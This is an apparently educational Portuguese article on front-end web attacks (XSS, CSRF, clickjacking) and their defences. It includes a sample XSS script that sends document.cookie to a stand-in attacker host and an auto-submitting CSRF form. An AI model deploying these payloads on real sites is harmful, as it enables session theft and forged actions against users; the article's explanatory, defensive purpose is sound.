Ataques comuns ao front-end web

Visão geral de ameaças no front-end

Ataques web envolvem ações maliciosas que exploram vulnerabilidades em interfaces de usuário ou servidores, como injeção de código, roubo de dados ou alteração de permissões. Técnicas frequentes incluem Cross-Site Scripting (XSS), Cross-Site Request Forgery (CSRF) e clickjacking.

Cross-Site Scripting (XSS)

XSS ocorre quando um invasor insere scripts em páginas web que são executados por outros usuários, permitindo acesso a cookies ou informações confidenciais.

Fluxo típico de exploração:

  1. Publicar conteúdo com código malicioso, como em comentários ou campos de entrada.
  2. O script coleta dados do navegador, por exemplo cookies, e os transmite para um servidor externo.
  3. Usuários que visualizam a página são comprometidos sem perceber.

Exemplo de código malicioso:

<html>
<body>
<script>
var elemento = document.createElement('img');
elemento.src = 'http://servidor-atacante.com/registro?dado=' + encodeURIComponent(document.cookie);
document.body.appendChild(elemento);
</script>
</body>
</html>

Aqui, uma imagem é gerada para exfiltrar o cookie do usuário via URL.

Estratégias de mitigação:

  • Escape de conteúdo: Substituir caracteres perigosos como < e > por equivalentes seguros. Em JavaScript:
function sanitizarHTML(input) {
  return input.replace(/</g, '&lt;').replace(/>/g, '&gt;');
}
  1. Atributo HttpOnly em cookies: Configurar no servidor para bloquear acesso via JavaScript. Cabeçalho HTTP de exemplo:
Set-Cookie: identificador=valor123; HttpOnly; Path=/; Secure
  1. Frameworks como React ou Angular normalmente escapam saídas, mas métodos como innerHTML requerem cautela. Cross-Site Request Forgery (CSRF)

CSRF induz usuários autenticados a executar ações não intencionais em sites onde estão logados, aproveitando o envio automático de cookeis.

Passos de um ataque CSRF:

  1. O usuário mantém sessão ativa em um site confiável, como dominio-seguro.com.
  2. O invasor redireciona para uma página maliciosa, site-prejudicial.com.
  3. Essa página contém mecanismos que disparam requisições ao site confiável, usando as credenciais do usuário.

Exemplo de código para CSRF:

<html>
<body>
<a href="http://dominio-seguro.com/excluir-dados">Promoção exclusiva</a>
<form id="form-ataque" action="http://dominio-seguro.com/alterar-config" method="POST">
  <input type="hidden" name="opcao" value="maliciosa">
</form>
<script>
document.getElementById('form-ataque').submit();
</script>
</body>
</html>

A interação do usuário aciona a requisição ao domínio seguro, resultando em ações fraudulentas.

Métodos de proteção:

  • Priorizar endpoints POST para operações sensíveis, combinado com tokens de verificação.
  • Definir atributo SameSite em cookies:
  • SameSite=Strict: Bloqueia envio em requisições cross-site.
  • SameSite=Lax: Permite apenas em navegações GET diretas, como links.
Set-Cookie: sessao=chave; SameSite=Lax; Secure

Clickjacking

Clickjacking utiliza camadas sobrepostas e transparentes para manipular cliques do usuário, levando a interações com elementos ocultos de outros sites.

Procedimento comum:

  1. O atacante incorpora um iframe oculto com o site alvo em sua página.
  2. Ao interagir, o usuário inadvertidamente clica em componnetes do iframe, realizando ações no site de destino.

Técnicas de defesa:

  • Adicionar o cabeçalho HTTP X-Frame-Options com valor SAMEORIGIN para restringir incorporação.
  • Empregar Content Security Policy (CSP) com a diretiva frame-ancestors.

Tags: XSS CSRF Clickjacking web security HttpOnly

Publicado em 6-28 16:11